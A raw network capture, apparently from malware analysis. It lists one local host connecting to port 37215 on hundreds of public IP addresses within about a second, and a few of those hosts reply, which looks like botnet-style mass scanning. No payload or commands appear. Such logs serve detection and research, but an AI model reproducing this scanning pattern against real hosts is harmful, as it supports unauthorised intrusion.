Nov 19, 2023 09:15:45.609118938 CET	45796	37215	192.168.2.23	197.82.62.48
Nov 19, 2023 09:15:45.609118938 CET	45796	37215	192.168.2.23	197.144.44.78
Nov 19, 2023 09:15:45.609118938 CET	45796	37215	192.168.2.23	197.185.130.164
Nov 19, 2023 09:15:45.609123945 CET	45796	37215	192.168.2.23	41.136.158.14
Nov 19, 2023 09:15:45.609118938 CET	45796	37215	192.168.2.23	41.110.115.29
Nov 19, 2023 09:15:45.609131098 CET	45796	37215	192.168.2.23	197.9.40.206
Nov 19, 2023 09:15:45.609133005 CET	45796	37215	192.168.2.23	41.86.58.87
Nov 19, 2023 09:15:45.609146118 CET	45796	37215	192.168.2.23	41.81.170.97
Nov 19, 2023 09:15:45.609147072 CET	45796	37215	192.168.2.23	41.48.231.148
Nov 19, 2023 09:15:45.609147072 CET	45796	37215	192.168.2.23	156.9.147.170
Nov 19, 2023 09:15:45.609148026 CET	45796	37215	192.168.2.23	197.38.200.99
Nov 19, 2023 09:15:45.609147072 CET	45796	37215	192.168.2.23	41.229.114.50
Nov 19, 2023 09:15:45.609148026 CET	45796	37215	192.168.2.23	41.88.30.176
Nov 19, 2023 09:15:45.609147072 CET	45796	37215	192.168.2.23	156.121.68.239
Nov 19, 2023 09:15:45.609147072 CET	45796	37215	192.168.2.23	156.163.198.105
Nov 19, 2023 09:15:45.609160900 CET	45796	37215	192.168.2.23	41.41.75.211
Nov 19, 2023 09:15:45.609160900 CET	45796	37215	192.168.2.23	197.222.27.134
Nov 19, 2023 09:15:45.609160900 CET	45796	37215	192.168.2.23	197.36.219.130
Nov 19, 2023 09:15:45.609170914 CET	45796	37215	192.168.2.23	197.17.203.137
Nov 19, 2023 09:15:45.609170914 CET	45796	37215	192.168.2.23	156.237.149.67
Nov 19, 2023 09:15:45.609170914 CET	45796	37215	192.168.2.23	41.254.16.51
Nov 19, 2023 09:15:45.609170914 CET	45796	37215	192.168.2.23	156.30.63.1
Nov 19, 2023 09:15:45.609174967 CET	45796	37215	192.168.2.23	197.118.164.235
Nov 19, 2023 09:15:45.609174967 CET	45796	37215	192.168.2.23	156.221.74.189
Nov 19, 2023 09:15:45.609175920 CET	45796	37215	192.168.2.23	197.25.169.89
Nov 19, 2023 09:15:45.609186888 CET	45796	37215	192.168.2.23	156.48.85.2
Nov 19, 2023 09:15:45.609203100 CET	45796	37215	192.168.2.23	156.89.176.7
Nov 19, 2023 09:15:45.609203100 CET	45796	37215	192.168.2.23	156.237.203.42
Nov 19, 2023 09:15:45.609203100 CET	45796	37215	192.168.2.23	156.162.123.87
Nov 19, 2023 09:15:45.609210968 CET	45796	37215	192.168.2.23	41.34.221.30
Nov 19, 2023 09:15:45.609211922 CET	45796	37215	192.168.2.23	156.49.188.247
Nov 19, 2023 09:15:45.609215021 CET	45796	37215	192.168.2.23	41.209.192.30
Nov 19, 2023 09:15:45.609215021 CET	45796	37215	192.168.2.23	41.133.62.102
Nov 19, 2023 09:15:45.609215021 CET	45796	37215	192.168.2.23	41.196.23.127
Nov 19, 2023 09:15:45.609231949 CET	45796	37215	192.168.2.23	197.218.84.88
Nov 19, 2023 09:15:45.609232903 CET	45796	37215	192.168.2.23	197.158.101.53
Nov 19, 2023 09:15:45.609234095 CET	45796	37215	192.168.2.23	156.26.86.196
Nov 19, 2023 09:15:45.609236002 CET	45796	37215	192.168.2.23	197.27.7.125
Nov 19, 2023 09:15:45.609236002 CET	45796	37215	192.168.2.23	156.199.174.230
Nov 19, 2023 09:15:45.609239101 CET	45796	37215	192.168.2.23	41.106.187.236
Nov 19, 2023 09:15:45.609239101 CET	45796	37215	192.168.2.23	197.88.223.111
Nov 19, 2023 09:15:45.609239101 CET	45796	37215	192.168.2.23	41.80.24.84
Nov 19, 2023 09:15:45.609246016 CET	45796	37215	192.168.2.23	41.153.120.60
Nov 19, 2023 09:15:45.609246016 CET	45796	37215	192.168.2.23	197.99.54.130
Nov 19, 2023 09:15:45.609246016 CET	45796	37215	192.168.2.23	41.7.6.186
Nov 19, 2023 09:15:45.609246016 CET	45796	37215	192.168.2.23	156.28.82.135
Nov 19, 2023 09:15:45.609246016 CET	45796	37215	192.168.2.23	197.47.11.88
Nov 19, 2023 09:15:45.609246016 CET	45796	37215	192.168.2.23	156.9.145.188
Nov 19, 2023 09:15:45.609246016 CET	45796	37215	192.168.2.23	156.84.244.67
Nov 19, 2023 09:15:45.609261990 CET	45796	37215	192.168.2.23	41.232.239.195
Nov 19, 2023 09:15:45.609261990 CET	45796	37215	192.168.2.23	197.55.15.226
Nov 19, 2023 09:15:45.609266043 CET	45796	37215	192.168.2.23	197.110.106.13
Nov 19, 2023 09:15:45.609271049 CET	45796	37215	192.168.2.23	156.1.181.124
Nov 19, 2023 09:15:45.609271049 CET	45796	37215	192.168.2.23	197.249.134.82
Nov 19, 2023 09:15:45.609276056 CET	45796	37215	192.168.2.23	156.198.77.81
Nov 19, 2023 09:15:45.609276056 CET	45796	37215	192.168.2.23	41.127.197.110
Nov 19, 2023 09:15:45.609276056 CET	45796	37215	192.168.2.23	197.60.31.68
Nov 19, 2023 09:15:45.609276056 CET	45796	37215	192.168.2.23	41.61.89.83
Nov 19, 2023 09:15:45.609276056 CET	45796	37215	192.168.2.23	156.62.18.124
Nov 19, 2023 09:15:45.609282970 CET	45796	37215	192.168.2.23	197.103.105.142
Nov 19, 2023 09:15:45.609282970 CET	45796	37215	192.168.2.23	41.207.214.219
Nov 19, 2023 09:15:45.609303951 CET	45796	37215	192.168.2.23	156.251.218.169
Nov 19, 2023 09:15:45.609303951 CET	45796	37215	192.168.2.23	41.226.12.16
Nov 19, 2023 09:15:45.609303951 CET	45796	37215	192.168.2.23	197.105.217.102
Nov 19, 2023 09:15:45.609303951 CET	45796	37215	192.168.2.23	156.137.246.221
Nov 19, 2023 09:15:45.609303951 CET	45796	37215	192.168.2.23	41.169.204.143
Nov 19, 2023 09:15:45.609303951 CET	45796	37215	192.168.2.23	156.58.46.81
Nov 19, 2023 09:15:45.609303951 CET	45796	37215	192.168.2.23	41.188.202.145
Nov 19, 2023 09:15:45.609311104 CET	45796	37215	192.168.2.23	197.143.137.107
Nov 19, 2023 09:15:45.609311104 CET	45796	37215	192.168.2.23	41.191.82.3
Nov 19, 2023 09:15:45.609322071 CET	45796	37215	192.168.2.23	41.47.130.105
Nov 19, 2023 09:15:45.609322071 CET	45796	37215	192.168.2.23	156.23.9.193
Nov 19, 2023 09:15:45.609328032 CET	45796	37215	192.168.2.23	41.81.95.174
Nov 19, 2023 09:15:45.609328032 CET	45796	37215	192.168.2.23	41.232.74.228
Nov 19, 2023 09:15:45.609328032 CET	45796	37215	192.168.2.23	156.63.64.198
Nov 19, 2023 09:15:45.609328032 CET	45796	37215	192.168.2.23	156.146.10.161
Nov 19, 2023 09:15:45.609330893 CET	45796	37215	192.168.2.23	156.157.224.101
Nov 19, 2023 09:15:45.609330893 CET	45796	37215	192.168.2.23	197.180.214.208
Nov 19, 2023 09:15:45.609330893 CET	45796	37215	192.168.2.23	156.38.246.90
Nov 19, 2023 09:15:45.609347105 CET	45796	37215	192.168.2.23	41.125.149.173
Nov 19, 2023 09:15:45.609347105 CET	45796	37215	192.168.2.23	156.224.11.178
Nov 19, 2023 09:15:45.609349012 CET	45796	37215	192.168.2.23	41.99.159.45
Nov 19, 2023 09:15:45.609349012 CET	45796	37215	192.168.2.23	156.172.6.11
Nov 19, 2023 09:15:45.609348059 CET	45796	37215	192.168.2.23	41.99.195.243
Nov 19, 2023 09:15:45.609349012 CET	45796	37215	192.168.2.23	41.23.43.160
Nov 19, 2023 09:15:45.609349012 CET	45796	37215	192.168.2.23	41.107.180.236
Nov 19, 2023 09:15:45.609349012 CET	45796	37215	192.168.2.23	156.75.135.125
Nov 19, 2023 09:15:45.609349012 CET	45796	37215	192.168.2.23	156.2.111.75
Nov 19, 2023 09:15:45.609348059 CET	45796	37215	192.168.2.23	41.15.35.133
Nov 19, 2023 09:15:45.609349012 CET	45796	37215	192.168.2.23	156.217.55.154
Nov 19, 2023 09:15:45.609358072 CET	45796	37215	192.168.2.23	41.11.151.36
Nov 19, 2023 09:15:45.609348059 CET	45796	37215	192.168.2.23	197.229.138.247
Nov 19, 2023 09:15:45.609360933 CET	45796	37215	192.168.2.23	197.199.226.106
Nov 19, 2023 09:15:45.609358072 CET	45796	37215	192.168.2.23	197.89.202.28
Nov 19, 2023 09:15:45.609360933 CET	45796	37215	192.168.2.23	41.194.128.147
Nov 19, 2023 09:15:45.609358072 CET	45796	37215	192.168.2.23	156.169.69.205
Nov 19, 2023 09:15:45.609348059 CET	45796	37215	192.168.2.23	156.173.93.206
Nov 19, 2023 09:15:45.609348059 CET	45796	37215	192.168.2.23	197.253.85.150
Nov 19, 2023 09:15:45.609348059 CET	45796	37215	192.168.2.23	156.118.9.179
Nov 19, 2023 09:15:45.609348059 CET	45796	37215	192.168.2.23	41.237.81.153
Nov 19, 2023 09:15:45.609348059 CET	45796	37215	192.168.2.23	156.139.16.174
Nov 19, 2023 09:15:45.609369993 CET	45796	37215	192.168.2.23	156.4.45.201
Nov 19, 2023 09:15:45.609370947 CET	45796	37215	192.168.2.23	156.45.209.228
Nov 19, 2023 09:15:45.609370947 CET	45796	37215	192.168.2.23	197.94.80.98
Nov 19, 2023 09:15:45.609373093 CET	45796	37215	192.168.2.23	41.42.71.217
Nov 19, 2023 09:15:45.609390020 CET	45796	37215	192.168.2.23	156.182.38.101
Nov 19, 2023 09:15:45.609391928 CET	45796	37215	192.168.2.23	41.182.11.194
Nov 19, 2023 09:15:45.609391928 CET	45796	37215	192.168.2.23	197.203.234.1
Nov 19, 2023 09:15:45.609396935 CET	45796	37215	192.168.2.23	156.183.219.225
Nov 19, 2023 09:15:45.609396935 CET	45796	37215	192.168.2.23	197.105.159.231
Nov 19, 2023 09:15:45.609397888 CET	45796	37215	192.168.2.23	156.189.210.255
Nov 19, 2023 09:15:45.609396935 CET	45796	37215	192.168.2.23	156.177.123.120
Nov 19, 2023 09:15:45.609400034 CET	45796	37215	192.168.2.23	197.96.134.28
Nov 19, 2023 09:15:45.609397888 CET	45796	37215	192.168.2.23	197.47.247.35
Nov 19, 2023 09:15:45.609396935 CET	45796	37215	192.168.2.23	156.112.97.25
Nov 19, 2023 09:15:45.609396935 CET	45796	37215	192.168.2.23	197.120.154.89
Nov 19, 2023 09:15:45.609397888 CET	45796	37215	192.168.2.23	156.138.156.178
Nov 19, 2023 09:15:45.609397888 CET	45796	37215	192.168.2.23	197.83.133.72
Nov 19, 2023 09:15:45.609416962 CET	45796	37215	192.168.2.23	41.121.153.73
Nov 19, 2023 09:15:45.609415054 CET	45796	37215	192.168.2.23	197.194.4.4
Nov 19, 2023 09:15:45.609421968 CET	45796	37215	192.168.2.23	41.52.180.138
Nov 19, 2023 09:15:45.609427929 CET	45796	37215	192.168.2.23	197.49.215.205
Nov 19, 2023 09:15:45.609443903 CET	45796	37215	192.168.2.23	197.120.197.80
Nov 19, 2023 09:15:45.609447002 CET	45796	37215	192.168.2.23	156.73.217.40
Nov 19, 2023 09:15:45.609447002 CET	45796	37215	192.168.2.23	197.52.16.92
Nov 19, 2023 09:15:45.609450102 CET	45796	37215	192.168.2.23	156.77.184.105
Nov 19, 2023 09:15:45.609450102 CET	45796	37215	192.168.2.23	41.230.83.179
Nov 19, 2023 09:15:45.609450102 CET	45796	37215	192.168.2.23	41.219.122.58
Nov 19, 2023 09:15:45.609457016 CET	45796	37215	192.168.2.23	156.102.220.243
Nov 19, 2023 09:15:45.609457016 CET	45796	37215	192.168.2.23	197.62.129.197
Nov 19, 2023 09:15:45.609457016 CET	45796	37215	192.168.2.23	41.131.35.27
Nov 19, 2023 09:15:45.609457016 CET	45796	37215	192.168.2.23	197.28.116.243
Nov 19, 2023 09:15:45.609458923 CET	45796	37215	192.168.2.23	41.247.56.121
Nov 19, 2023 09:15:45.609458923 CET	45796	37215	192.168.2.23	197.19.201.231
Nov 19, 2023 09:15:45.609458923 CET	45796	37215	192.168.2.23	156.94.106.1
Nov 19, 2023 09:15:45.609458923 CET	45796	37215	192.168.2.23	197.45.249.63
Nov 19, 2023 09:15:45.609458923 CET	45796	37215	192.168.2.23	41.151.222.79
Nov 19, 2023 09:15:45.609458923 CET	45796	37215	192.168.2.23	156.52.11.17
Nov 19, 2023 09:15:45.609460115 CET	45796	37215	192.168.2.23	156.221.172.73
Nov 19, 2023 09:15:45.609460115 CET	45796	37215	192.168.2.23	197.178.229.27
Nov 19, 2023 09:15:45.609467983 CET	45796	37215	192.168.2.23	156.200.112.98
Nov 19, 2023 09:15:45.609467983 CET	45796	37215	192.168.2.23	41.121.18.42
Nov 19, 2023 09:15:45.609467983 CET	45796	37215	192.168.2.23	41.1.14.183
Nov 19, 2023 09:15:45.609467983 CET	45796	37215	192.168.2.23	197.64.1.238
Nov 19, 2023 09:15:45.609468937 CET	45796	37215	192.168.2.23	41.88.225.109
Nov 19, 2023 09:15:45.609467983 CET	45796	37215	192.168.2.23	41.222.133.132
Nov 19, 2023 09:15:45.609468937 CET	45796	37215	192.168.2.23	156.130.199.154
Nov 19, 2023 09:15:45.609468937 CET	45796	37215	192.168.2.23	197.166.200.116
Nov 19, 2023 09:15:45.609468937 CET	45796	37215	192.168.2.23	156.11.126.145
Nov 19, 2023 09:15:45.609468937 CET	45796	37215	192.168.2.23	41.245.18.207
Nov 19, 2023 09:15:45.609472036 CET	45796	37215	192.168.2.23	41.24.53.147
Nov 19, 2023 09:15:45.609472036 CET	45796	37215	192.168.2.23	41.105.192.93
Nov 19, 2023 09:15:45.609472036 CET	45796	37215	192.168.2.23	156.173.198.247
Nov 19, 2023 09:15:45.609472990 CET	45796	37215	192.168.2.23	156.249.178.17
Nov 19, 2023 09:15:45.609472990 CET	45796	37215	192.168.2.23	197.88.228.44
Nov 19, 2023 09:15:45.609472990 CET	45796	37215	192.168.2.23	197.159.159.126
Nov 19, 2023 09:15:45.609472990 CET	45796	37215	192.168.2.23	41.138.105.70
Nov 19, 2023 09:15:45.609472990 CET	45796	37215	192.168.2.23	197.144.173.115
Nov 19, 2023 09:15:45.609484911 CET	45796	37215	192.168.2.23	197.14.220.59
Nov 19, 2023 09:15:45.609484911 CET	45796	37215	192.168.2.23	197.252.17.70
Nov 19, 2023 09:15:45.609484911 CET	45796	37215	192.168.2.23	156.213.232.203
Nov 19, 2023 09:15:45.609486103 CET	45796	37215	192.168.2.23	156.191.81.77
Nov 19, 2023 09:15:45.609486103 CET	45796	37215	192.168.2.23	156.140.128.43
Nov 19, 2023 09:15:45.609487057 CET	45796	37215	192.168.2.23	41.57.130.215
Nov 19, 2023 09:15:45.609487057 CET	45796	37215	192.168.2.23	41.18.132.56
Nov 19, 2023 09:15:45.609488964 CET	45796	37215	192.168.2.23	41.111.150.71
Nov 19, 2023 09:15:45.609487057 CET	45796	37215	192.168.2.23	197.207.245.75
Nov 19, 2023 09:15:45.609488964 CET	45796	37215	192.168.2.23	197.147.113.19
Nov 19, 2023 09:15:45.609487057 CET	45796	37215	192.168.2.23	41.120.63.160
Nov 19, 2023 09:15:45.609488964 CET	45796	37215	192.168.2.23	41.204.68.195
Nov 19, 2023 09:15:45.609513044 CET	45796	37215	192.168.2.23	197.168.164.124
Nov 19, 2023 09:15:45.609513044 CET	45796	37215	192.168.2.23	156.32.150.14
Nov 19, 2023 09:15:45.609513044 CET	45796	37215	192.168.2.23	41.227.52.153
Nov 19, 2023 09:15:45.609513044 CET	45796	37215	192.168.2.23	156.34.50.47
Nov 19, 2023 09:15:45.609513044 CET	45796	37215	192.168.2.23	156.40.15.156
Nov 19, 2023 09:15:45.609513044 CET	45796	37215	192.168.2.23	156.35.179.136
Nov 19, 2023 09:15:45.609513044 CET	45796	37215	192.168.2.23	197.229.162.233
Nov 19, 2023 09:15:45.609513044 CET	45796	37215	192.168.2.23	156.255.51.67
Nov 19, 2023 09:15:45.609513998 CET	45796	37215	192.168.2.23	41.51.39.14
Nov 19, 2023 09:15:45.609513998 CET	45796	37215	192.168.2.23	41.69.211.15
Nov 19, 2023 09:15:45.609523058 CET	45796	37215	192.168.2.23	41.27.159.168
Nov 19, 2023 09:15:45.609523058 CET	45796	37215	192.168.2.23	156.209.41.109
Nov 19, 2023 09:15:45.609523058 CET	45796	37215	192.168.2.23	156.51.214.65
Nov 19, 2023 09:15:45.609523058 CET	45796	37215	192.168.2.23	156.44.58.34
Nov 19, 2023 09:15:45.609523058 CET	45796	37215	192.168.2.23	41.213.190.109
Nov 19, 2023 09:15:45.609524965 CET	45796	37215	192.168.2.23	197.165.22.142
Nov 19, 2023 09:15:45.609524965 CET	45796	37215	192.168.2.23	197.133.140.62
Nov 19, 2023 09:15:45.609524965 CET	45796	37215	192.168.2.23	41.159.229.167
Nov 19, 2023 09:15:45.609530926 CET	45796	37215	192.168.2.23	197.46.172.134
Nov 19, 2023 09:15:45.609530926 CET	45796	37215	192.168.2.23	156.181.60.211
Nov 19, 2023 09:15:45.609530926 CET	45796	37215	192.168.2.23	197.25.183.32
Nov 19, 2023 09:15:45.609544992 CET	45796	37215	192.168.2.23	197.249.111.163
Nov 19, 2023 09:15:45.609544992 CET	45796	37215	192.168.2.23	197.142.124.196
Nov 19, 2023 09:15:45.609544992 CET	45796	37215	192.168.2.23	156.2.165.66
Nov 19, 2023 09:15:45.609544992 CET	45796	37215	192.168.2.23	156.88.130.174
Nov 19, 2023 09:15:45.609544992 CET	45796	37215	192.168.2.23	41.182.229.135
Nov 19, 2023 09:15:45.609544992 CET	45796	37215	192.168.2.23	41.66.0.210
Nov 19, 2023 09:15:45.609551907 CET	45796	37215	192.168.2.23	156.68.63.91
Nov 19, 2023 09:15:45.609551907 CET	45796	37215	192.168.2.23	41.134.102.84
Nov 19, 2023 09:15:45.609551907 CET	45796	37215	192.168.2.23	156.153.222.154
Nov 19, 2023 09:15:45.609551907 CET	45796	37215	192.168.2.23	197.129.254.194
Nov 19, 2023 09:15:45.609551907 CET	45796	37215	192.168.2.23	197.115.102.189
Nov 19, 2023 09:15:45.609551907 CET	45796	37215	192.168.2.23	197.132.12.183
Nov 19, 2023 09:15:45.609551907 CET	45796	37215	192.168.2.23	41.102.61.73
Nov 19, 2023 09:15:45.609563112 CET	45796	37215	192.168.2.23	197.163.115.254
Nov 19, 2023 09:15:45.609577894 CET	45796	37215	192.168.2.23	41.133.246.78
Nov 19, 2023 09:15:45.609577894 CET	45796	37215	192.168.2.23	156.214.64.18
Nov 19, 2023 09:15:45.609577894 CET	45796	37215	192.168.2.23	197.62.246.252
Nov 19, 2023 09:15:45.609577894 CET	45796	37215	192.168.2.23	156.72.128.123
Nov 19, 2023 09:15:45.609580994 CET	45796	37215	192.168.2.23	197.75.150.189
Nov 19, 2023 09:15:45.609580994 CET	45796	37215	192.168.2.23	156.119.173.59
Nov 19, 2023 09:15:45.609580994 CET	45796	37215	192.168.2.23	156.226.157.102
Nov 19, 2023 09:15:45.609580994 CET	45796	37215	192.168.2.23	41.125.85.76
Nov 19, 2023 09:15:45.609582901 CET	45796	37215	192.168.2.23	41.21.163.184
Nov 19, 2023 09:15:45.609582901 CET	45796	37215	192.168.2.23	156.174.108.58
Nov 19, 2023 09:15:45.609597921 CET	45796	37215	192.168.2.23	41.201.207.102
Nov 19, 2023 09:15:45.609597921 CET	45796	37215	192.168.2.23	41.166.244.95
Nov 19, 2023 09:15:45.609601021 CET	45796	37215	192.168.2.23	197.84.14.174
Nov 19, 2023 09:15:45.609601021 CET	45796	37215	192.168.2.23	197.237.209.31
Nov 19, 2023 09:15:45.609601021 CET	45796	37215	192.168.2.23	156.69.93.223
Nov 19, 2023 09:15:45.609601021 CET	45796	37215	192.168.2.23	197.6.240.65
Nov 19, 2023 09:15:45.609601021 CET	45796	37215	192.168.2.23	41.234.94.103
Nov 19, 2023 09:15:45.609606028 CET	45796	37215	192.168.2.23	41.5.220.232
Nov 19, 2023 09:15:45.609618902 CET	45796	37215	192.168.2.23	156.154.206.72
Nov 19, 2023 09:15:45.609618902 CET	45796	37215	192.168.2.23	197.82.207.242
Nov 19, 2023 09:15:45.609618902 CET	45796	37215	192.168.2.23	41.105.161.178
Nov 19, 2023 09:15:45.609618902 CET	45796	37215	192.168.2.23	197.230.167.162
Nov 19, 2023 09:15:45.609618902 CET	45796	37215	192.168.2.23	197.141.155.14
Nov 19, 2023 09:15:45.609618902 CET	45796	37215	192.168.2.23	197.105.72.133
Nov 19, 2023 09:15:45.609626055 CET	45796	37215	192.168.2.23	41.87.62.163
Nov 19, 2023 09:15:45.609626055 CET	45796	37215	192.168.2.23	197.137.81.183
Nov 19, 2023 09:15:45.609626055 CET	45796	37215	192.168.2.23	156.237.135.44
Nov 19, 2023 09:15:45.609632969 CET	45796	37215	192.168.2.23	41.57.158.3
Nov 19, 2023 09:15:45.609632969 CET	45796	37215	192.168.2.23	41.88.42.4
Nov 19, 2023 09:15:45.609632969 CET	45796	37215	192.168.2.23	197.99.99.131
Nov 19, 2023 09:15:45.609632969 CET	45796	37215	192.168.2.23	197.127.99.238
Nov 19, 2023 09:15:45.609642029 CET	45796	37215	192.168.2.23	156.27.252.112
Nov 19, 2023 09:15:45.609642029 CET	45796	37215	192.168.2.23	41.195.78.123
Nov 19, 2023 09:15:45.609642029 CET	45796	37215	192.168.2.23	197.62.95.69
Nov 19, 2023 09:15:45.609642982 CET	45796	37215	192.168.2.23	156.37.91.251
Nov 19, 2023 09:15:45.609642982 CET	45796	37215	192.168.2.23	156.163.117.48
Nov 19, 2023 09:15:45.609642982 CET	45796	37215	192.168.2.23	197.120.228.171
Nov 19, 2023 09:15:45.609642982 CET	45796	37215	192.168.2.23	156.27.49.242
Nov 19, 2023 09:15:45.609642982 CET	45796	37215	192.168.2.23	197.10.86.40
Nov 19, 2023 09:15:45.609671116 CET	45796	37215	192.168.2.23	41.107.179.18
Nov 19, 2023 09:15:45.609671116 CET	45796	37215	192.168.2.23	156.43.116.227
Nov 19, 2023 09:15:45.609671116 CET	45796	37215	192.168.2.23	197.10.2.229
Nov 19, 2023 09:15:45.609671116 CET	45796	37215	192.168.2.23	197.103.144.183
Nov 19, 2023 09:15:45.609671116 CET	45796	37215	192.168.2.23	197.139.16.89
Nov 19, 2023 09:15:45.609671116 CET	45796	37215	192.168.2.23	41.61.140.167
Nov 19, 2023 09:15:45.609671116 CET	45796	37215	192.168.2.23	156.208.44.64
Nov 19, 2023 09:15:45.609671116 CET	45796	37215	192.168.2.23	197.131.0.24
Nov 19, 2023 09:15:45.609704971 CET	45796	37215	192.168.2.23	197.6.74.102
Nov 19, 2023 09:15:45.609705925 CET	45796	37215	192.168.2.23	156.7.153.54
Nov 19, 2023 09:15:45.609746933 CET	45796	37215	192.168.2.23	197.146.233.187
Nov 19, 2023 09:15:45.609746933 CET	45796	37215	192.168.2.23	197.209.61.180
Nov 19, 2023 09:15:45.609746933 CET	45796	37215	192.168.2.23	156.64.14.197
Nov 19, 2023 09:15:45.609746933 CET	45796	37215	192.168.2.23	197.35.251.218
Nov 19, 2023 09:15:45.609746933 CET	45796	37215	192.168.2.23	197.96.202.153
Nov 19, 2023 09:15:45.609747887 CET	45796	37215	192.168.2.23	156.103.84.153
Nov 19, 2023 09:15:45.609747887 CET	45796	37215	192.168.2.23	41.213.252.161
Nov 19, 2023 09:15:45.609747887 CET	45796	37215	192.168.2.23	197.213.79.236
Nov 19, 2023 09:15:45.609812975 CET	45796	37215	192.168.2.23	41.51.77.80
Nov 19, 2023 09:15:45.609813929 CET	45796	37215	192.168.2.23	197.184.194.32
Nov 19, 2023 09:15:45.609813929 CET	45796	37215	192.168.2.23	197.82.40.27
Nov 19, 2023 09:15:45.831826925 CET	37215	45796	41.230.83.179	192.168.2.23
Nov 19, 2023 09:15:45.854644060 CET	37215	45796	41.42.71.217	192.168.2.23
Nov 19, 2023 09:15:45.857947111 CET	37215	45796	156.198.77.81	192.168.2.23
Nov 19, 2023 09:15:45.879157066 CET	37215	45796	197.6.240.65	192.168.2.23
Nov 19, 2023 09:15:45.881532907 CET	37215	45796	156.198.159.115	192.168.2.23
Nov 19, 2023 09:15:45.881592035 CET	45796	37215	192.168.2.23	156.198.159.115
Nov 19, 2023 09:15:45.936269045 CET	37215	45796	197.5.73.43	192.168.2.23
Nov 19, 2023 09:15:45.948779106 CET	37215	45796	197.96.202.153	192.168.2.23
Nov 19, 2023 09:15:46.162738085 CET	37215	45796	197.130.158.239	192.168.2.23
Nov 19, 2023 09:15:46.610666037 CET	45796	37215	192.168.2.23	156.106.53.60
Nov 19, 2023 09:15:46.610685110 CET	45796	37215	192.168.2.23	41.114.182.103
Nov 19, 2023 09:15:46.610696077 CET	45796	37215	192.168.2.23	197.191.149.155
Nov 19, 2023 09:15:46.610696077 CET	45796	37215	192.168.2.23	41.1.108.79
Nov 19, 2023 09:15:46.610713005 CET	45796	37215	192.168.2.23	41.131.66.188
Nov 19, 2023 09:15:46.610713959 CET	45796	37215	192.168.2.23	41.94.141.32
Nov 19, 2023 09:15:46.610713959 CET	45796	37215	192.168.2.23	156.78.30.116
Nov 19, 2023 09:15:46.610718966 CET	45796	37215	192.168.2.23	156.61.75.35
Nov 19, 2023 09:15:46.610718966 CET	45796	37215	192.168.2.23	197.13.27.90
Nov 19, 2023 09:15:46.610728979 CET	45796	37215	192.168.2.23	156.61.34.229
Nov 19, 2023 09:15:46.610732079 CET	45796	37215	192.168.2.23	156.61.165.202
Nov 19, 2023 09:15:46.610717058 CET	45796	37215	192.168.2.23	156.69.106.63
Nov 19, 2023 09:15:46.610740900 CET	45796	37215	192.168.2.23	41.165.157.235
Nov 19, 2023 09:15:46.610743046 CET	45796	37215	192.168.2.23	41.123.255.82
Nov 19, 2023 09:15:46.610743046 CET	45796	37215	192.168.2.23	156.154.121.128
Nov 19, 2023 09:15:46.610748053 CET	45796	37215	192.168.2.23	156.225.85.63
Nov 19, 2023 09:15:46.610748053 CET	45796	37215	192.168.2.23	41.6.0.39
Nov 19, 2023 09:15:46.610752106 CET	45796	37215	192.168.2.23	41.130.153.131
Nov 19, 2023 09:15:46.610752106 CET	45796	37215	192.168.2.23	41.0.0.119
Nov 19, 2023 09:15:46.610778093 CET	45796	37215	192.168.2.23	156.222.106.63
Nov 19, 2023 09:15:46.610778093 CET	45796	37215	192.168.2.23	156.220.138.137
Nov 19, 2023 09:15:46.610780001 CET	45796	37215	192.168.2.23	41.38.241.10
Nov 19, 2023 09:15:46.610780001 CET	45796	37215	192.168.2.23	41.4.109.229
Nov 19, 2023 09:15:46.610783100 CET	45796	37215	192.168.2.23	197.20.249.78
Nov 19, 2023 09:15:46.610783100 CET	45796	37215	192.168.2.23	197.82.17.49
Nov 19, 2023 09:15:46.610789061 CET	45796	37215	192.168.2.23	197.98.98.173
Nov 19, 2023 09:15:46.610797882 CET	45796	37215	192.168.2.23	197.45.84.106
Nov 19, 2023 09:15:46.610800028 CET	45796	37215	192.168.2.23	41.229.9.178
Nov 19, 2023 09:15:46.610800028 CET	45796	37215	192.168.2.23	41.145.16.108
Nov 19, 2023 09:15:46.610805035 CET	45796	37215	192.168.2.23	156.44.152.72
Nov 19, 2023 09:15:46.610821009 CET	45796	37215	192.168.2.23	197.208.68.239
Nov 19, 2023 09:15:46.610821009 CET	45796	37215	192.168.2.23	197.79.18.62
Nov 19, 2023 09:15:46.610821009 CET	45796	37215	192.168.2.23	156.33.100.239
Nov 19, 2023 09:15:46.610821009 CET	45796	37215	192.168.2.23	156.193.27.104
Nov 19, 2023 09:15:46.610821962 CET	45796	37215	192.168.2.23	156.66.175.78
Nov 19, 2023 09:15:46.610826015 CET	45796	37215	192.168.2.23	197.6.121.53
Nov 19, 2023 09:15:46.610829115 CET	45796	37215	192.168.2.23	156.155.216.41
Nov 19, 2023 09:15:46.610833883 CET	45796	37215	192.168.2.23	41.177.68.246
Nov 19, 2023 09:15:46.610833883 CET	45796	37215	192.168.2.23	197.244.69.173
Nov 19, 2023 09:15:46.610833883 CET	45796	37215	192.168.2.23	41.159.41.158
Nov 19, 2023 09:15:46.610833883 CET	45796	37215	192.168.2.23	197.195.148.195
Nov 19, 2023 09:15:46.610841036 CET	45796	37215	192.168.2.23	41.184.217.116
Nov 19, 2023 09:15:46.610841036 CET	45796	37215	192.168.2.23	41.106.157.151
Nov 19, 2023 09:15:46.610841036 CET	45796	37215	192.168.2.23	156.104.24.139
Nov 19, 2023 09:15:46.610841036 CET	45796	37215	192.168.2.23	197.235.158.178
Nov 19, 2023 09:15:46.610841036 CET	45796	37215	192.168.2.23	197.137.54.129
Nov 19, 2023 09:15:46.610841036 CET	45796	37215	192.168.2.23	197.251.80.21
Nov 19, 2023 09:15:46.610841036 CET	45796	37215	192.168.2.23	41.49.132.150
Nov 19, 2023 09:15:46.610856056 CET	45796	37215	192.168.2.23	197.56.177.197
Nov 19, 2023 09:15:46.610856056 CET	45796	37215	192.168.2.23	41.184.106.124
Nov 19, 2023 09:15:46.610860109 CET	45796	37215	192.168.2.23	197.205.130.49
Nov 19, 2023 09:15:46.610862017 CET	45796	37215	192.168.2.23	156.45.216.45
Nov 19, 2023 09:15:46.610873938 CET	45796	37215	192.168.2.23	156.189.250.145
Nov 19, 2023 09:15:46.610882998 CET	45796	37215	192.168.2.23	41.13.49.250
Nov 19, 2023 09:15:46.610888004 CET	45796	37215	192.168.2.23	197.66.163.175
Nov 19, 2023 09:15:46.610888958 CET	45796	37215	192.168.2.23	197.34.151.102
Nov 19, 2023 09:15:46.610888958 CET	45796	37215	192.168.2.23	197.175.5.14
Nov 19, 2023 09:15:46.610893011 CET	45796	37215	192.168.2.23	156.92.96.100
Nov 19, 2023 09:15:46.610918045 CET	45796	37215	192.168.2.23	197.184.60.144
